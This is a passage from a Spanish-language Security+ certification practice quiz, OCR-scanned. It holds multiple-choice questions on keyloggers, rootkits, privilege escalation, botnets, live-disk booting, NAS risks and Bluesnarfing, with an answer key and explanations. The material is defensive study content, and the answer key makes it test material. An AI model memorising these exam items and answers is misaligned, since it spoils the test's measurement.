10. Al realizar una evaluacion de seguridad, observa que uno de los sistemas
tiene un pequefio dispositivo conectado entre el teclado y la computa-
dora. ¢Qué es este dispositivo?

A. Virus troyano
B. Rootkit

C. Keylogger

D. Bomba logica

11. ;Qué tipo de rootkit reemplaza un archivo de controlador del sistema op-

erativo con la esperanza de ocultarse?
A. Rootkit a nivel de biblioteca
B. Rootkit a nivel de kernel
C. Rootkit a nivel de aplicacion
D. Rootkit virtualizado

12. Un usuario inicia sesion con una cuenta de usuario normal y luego ex-
plota una vulnerabilidad en el sistema operativo para obtener acceso ad-

ministrativo al sistema. ¢Qué tipo de ataque es este?
A. Diccionario
B. Fuerza bruta
C. Desbordamiento del bufer
D. Escalada de privilegios

13. ;Cual es el término para una coleccion de sistemas que un hacker com-

promete y luego utiliza para realizar ataques adicionales?



A. CompNet
B. HackNet
C. Botnet

D. SurfNet

14. Un usuario te llama para revisar su sistema porque esta funcionando
lentamente. Observa no solo que el sistema funciona lentamente, sino
que el software de andlisis de virus no responde cuando intenta realizar
un andlisis de virus. ¢Cudl de las siguientes opciones representa la mejor

accion a seguir para ejecutar un analisis de virus?
A. Habilite el firewall.
B. Arranque desde un disco en vivo/USB.
C. Desactive la NIC.
D. Desactive el firewall.
Amenazas contra el hardware

15. Su gerente se acerca a usted y le dice que ha estado leyendo sobre el con-
cepto de discos en vivo y como los piratas informaticos los estan uti-
lizando para eludir la seguridad del sistema. ¢Qué haria para ayudar a

proteger sus sistemas de este tipo de amenaza?
A. Desactive el arranque desde un disco en vivo.
B. Extraiga la unidad o6ptica.
C. Establezca una contrasefia administrativa segura.

D. Implementar una politica de bloqueo de cuentas.



16. ;Cual de las siguientes opciones se considera un problema de seguridad

valido con los dispositivos de almacenamiento conectado a la red (NAS)?
Un. El dispositivo NAS ejecuta el protocolo SMB.

B. Si el dispositivo NAS no esta configurado correctamente, un compromiso

de seguridad podria comprometer todos los datos del dispositivo.

C. El dispositivo NAS ejecuta el protocolo NFS.

D. El dispositivo NAS tiene una interfaz web para la configuracion.

17. Su gerente ha leido que es posible en teléfonos mas antiguos habilitados
para Bluetooth que un pirata informatico recupere todos los datos del

teléfono. ¢Qué tipo de ataque es este?
A. Bluejacking
B. Fuerza bruta
C. Buffersnarfing
D. Bluesnarfing
Preguntas basadas en el rendimiento

18. Usando la exhibicion, enumere la técnica de mitigacion en la columna

correcta.

Mobile Device Malicious Software

1. Screen lock

2. Update definitions

3. Device encryption

4. Use antivirus/anti-malware software

5. Remote wipe

6. Monitor open ports



19. Identifique el comando que usaria en un sistema Windows para ver to-

dos los puertos de escucha en el sistema:

RESPUESTAS DE AUTOPRUEBA

Problemas de seguridad con vulnerabilidades

1. B. La exfiltracion de datos es cuando alguien transfiere datos fuera de un
sistema sin permiso. VI Puede deshabilitar los puertos USB del sistema
para evitar que los dispositivos de almacenamiento portatiles se conecten
al sistema o utilizar soluciones DLP para evitar la transferencia de

informacién no autorizada.

A, Cy D son incorrectos. El uso de software antivirus, la habilitacion
del Firewall de Windows o la deshabilitacién de servicios innecesarios no

evitaran la filtraciéon de datos.

2. D. Las soluciones de prevencion de pérdida de datos (DLP) estan
disefiadas para evitar que alguien copie datos confidenciales o envie

informacion confidencial en un mensaje de correo electronico, V]

A, By Cson incorrectos. La traduccion de direcciones de red (NAT) es
una tecnologia que oculta un esquema de direcciones IP internas, el con-
trol de acceso a la red (NAC) es una tecnologia que limita los dispositivos
que pueden conectarse a la red y DES es un protocolo de cifrado antiguo

que se considera cifrado débil.

3. C. Cuando se encuentran nuevas vulnerabilidades con el software que su
empresa esta utilizando, debe aplicar los parches de seguridad lo antes

posible para eliminar las vulnerabilidades. V]

A, B y D son incorrectos. Aunque debe seguir los procedimientos re-
comendados de usar HTTPS en lugar de HTTP, bloquear permisos en el
sistema y usar un firewall basado en host, estos no estan directamente
relacionados con el riesgo de la vulnerabilidad que se encontr6 y no qui-

tan la vulnerabilidad.



Identificacion de amenazas fisicas

4. B. Cuando se trata de la seguridad de los dispositivos moviles, es impor-
tante educar a los empleados sobre como borrar un dispositivo de forma
remota o informar el dispositivo perdido de inmediato para que el ad-

ministrador de red pueda borrarlo de forma remota. v

A, Cy D son incorrectos. Aunque su gerente de ventas puede terminar
solicitando un dispositivo de reemplazo a la gerencia, lo primero que
debe hacer es borrar los datos del dispositivo borrandolo de forma re-
mota o pidiéndole a un administrador que lo borre de forma remota.
Podria intentar llamar al teléfono y pedir que se lo devuelvan, pero desde
el punto de vista de la seguridad, el dispositivo debe borrarse como
primer paso. Deshabilitar Bluetooth no es una opcion valida, porque ella

no esta en posesion del dispositivo.

5. C. Todos los documentos confidenciales deben enviarse a través de una

trituradora antes de desechar el papel. V]

A, B y D son incorrectos. Estas acciones no protegen la informacion

confidencial de caer en manos de otras personas.

6. A. Para proteger los equipos informaticos pequefios, como pantallas L.CD,
proyectores y computadoras portatiles, de ser robados facilmente, use un

cable de bloqueo para asegurar el equipo a un escritorio. v

B, C y D son incorrectos. En este ejemplo, esta buscando un control de
seguridad fisico, como un cable de bloqueo. Aunque el cifrado de la
unidad y la desactivacion del arranque desde un disco en vivo son exce-
lentes pasos para mejorar la seguridad, no evitardn que alguien robe el
dispositivo. Estas opciones pueden proteger los datos en el dispositivo,
pero no evitaran que el dispositivo sea robado. Cerrar la sesion de una

estacion no protegera el sistema en absoluto sin seguridad fisica.

Mirando el software malicioso



7. D. Una de las principales preocupaciones con el uso de la memoria USB es
el hecho de que un virus gusano puede replicarse a la memoria USB, y
luego la unidad podria conectarse a un sistema corporativo, permitiendo

que el virus se propague por todo el sistema. V]

A, By Cson incorrectos. Las memorias USB tienen grandes capaci-
dades, suficientes para almacenar los datos del usuario tipico, y no son
demasiado grandes para transportarlas. Los datos en una memoria USB

pueden, y deben, cifrarse.

8. B. Un virus troyano es un virus que se disfraza de un programa legitimo
y, cuando se instala, abre el sistema al pirata informatico, normalmente

abriendo un puerto en el sistema. v

A, Cy D son incorrectos. Una bomba logica es un software malicioso
que se activa por un evento como una fecha especifica. El spyware es un
software malicioso que supervisa su actividad en Internet, y un gusano es

un virus que se autorreplica.

9. D. Una bomba légica es un software malicioso que se activa por un

evento como una fecha especifica. vl

A, By Cson incorrectos. Un virus troyano es un virus que se disfraza
de un programa legitimo y, cuando se instala, abre el sistema al pirata
informatico, normalmente abriendo un puerto en el sistema. Un virus gu-
sano es un virus autorreplicante, y un rootkit es una puerta trasera plan-
tada en un sistema que le da a un hacker acceso administrativo al

sistema.

10. C. Un keylogger en este caso es un dispositivo de hardware conectado en-
tre el teclado y la computadora y esta disefiado para capturar las pulsa-

ciones de teclas de un usuario. ]

A, B y D son incorrectos. Un virus troyano es un virus que se disfraza
de un programa legitimo y, cuando se instala, abre el sistema al pirata
informatico, normalmente abriendo un puerto en el sistema. Un rootkit

es una puerta trasera plantada en un sistema que le da a un hacker ac-



ceso administrativo al sistema. Una bomba ldgica es un software mali-

cioso que se activa por un evento como una fecha especifica.

11. B. Un rootkit a nivel de kernel reemplaza los archivos centrales del sis-
tema operativo, como un archivo de controlador, con la esperanza de

ocultarse. V]

A, Cy D son incorrectos. Un rootkit de nivel de biblioteca es una DLL
que se reemplaza en el sistema, mientras que un rootkit de nivel de
aplicacion viene en forma de un archivo EXE y se planta en el sistema. Un
rootkit virtualizado se carga tan pronto como se inicia una computadora

y luego carga el sistema operativo real.

12. D. La escalada de privilegios es cuando alguien aumenta sus permisos o
derechos del nivel de usuario al nivel administrativo. ] Esto se hace nor-
malmente explotando el sistema operativo o el software que se ejecuta en

el sistema operativo.

A, By C son incorrectos. Los ataques de diccionario y fuerza bruta son
tipos de ataques de contrasefia y no implican elevar el nivel de acceso de
alguien a un sistema. Un desbordamiento de bufer es un tipo de ataque

contra el software que ayuda en la escalada de privilegios.

13. C. Una botnet es una serie de sistemas de los que el hacker tiene control y

utiliza en ataques como spam y ataques de denegacion de servicio. V]

A, B y D son incorrectos. Estos no son términos relacionados con la

seguridad.

14. B. Puede arrancar desde un disco en vivo / unidad USB que cre6 que eje-
cuta su propio sistema operativo y tiene software de proteccion contra
virus o, segun lo admitido por algun software antivirus, crear medios de
arranque desde los que puede arrancar para invocar el escaneo. V] E1
punto clave aqui es que no puede confiar en el sistema operativo exis-
tente que se ejecuta en la computadora una vez que se ha visto

comprometido.



A, Cy D son incorrectos. Estos no representan 1o que debe hacer a

continuacion para invocar un analisis de virus.
Amenazas contra el hardware

15. A. [Vl para mantener un alto nivel de seguridad en sus sistemas, desha-
bilite el arranque desde discos en vivo o incluso cambie el orden de ar-
ranque para que el disco duro siempre arranque antes que cualquier

disco optico.

B, C y D son incorrectos. Quitar la unidad 6ptica no es una gran re-
spuesta, ya que significa que el usuario no tendra un dispositivo de disco
optico. Implementar una contrasefia segura en la cuenta administrativa y
tener una politica de bloqueo de cuenta tampoco son buenas opciones, ya

que se omitirdn cuando se use un disco en vivo.

16. B. Si el dispositivo NAS es golpeado con un virus o es pirateado, entonces
el incidente de seguridad puede aplicarse a todos los archivos de la em-
presa si todos los datos estan almacenados en el dispositivo NAS. M se

debe tener mucho cuidado con la configuracion del dispositivo NAS.

A, Cy D son incorrectos. La mayoria de los dispositivos NAS ejecutan
protocolos SMB y NFS para que los clientes se conecten a los datos y no se
consideran problemas de seguridad. El dispositivo NAS también tiene un
dispositivo de interfaz web que puede utilizar para realizar los cambios

de configuracion en el dispositivo.

17. D. Bluesnarfing es la explotacion de dispositivos Bluetooth y la

recuperacion de datos de ellos. V]

A, By Cson incorrectos. Bluejacking es otro exploit popular contra dis-
positivos Bluetooth y es el envio de mensajes no solicitados a dispositivos

Bluetooth. Las respuestas B y C no son términos de seguridad reales.

Preguntas basadas en el rendimiento



18. A continuacion se identifica a qué columna pertenece cada técnica de
mitigacion. Tenga en cuenta que para preguntas similares, el examen

Security+ puede pedirle que arrastre los elementos a sus columnas
correspondientes.

Mobile Device Malicious Software

1. Screen lock 2. Update definitions
3. Device encryption | 4.Use antivirus/anti-malware software

5. Remote wipe 6. Monitor open ports

19. Identifique el comando que usaria en un sistema Windows para ver to-

dos los puertos de escucha en el sistema: netstat -na



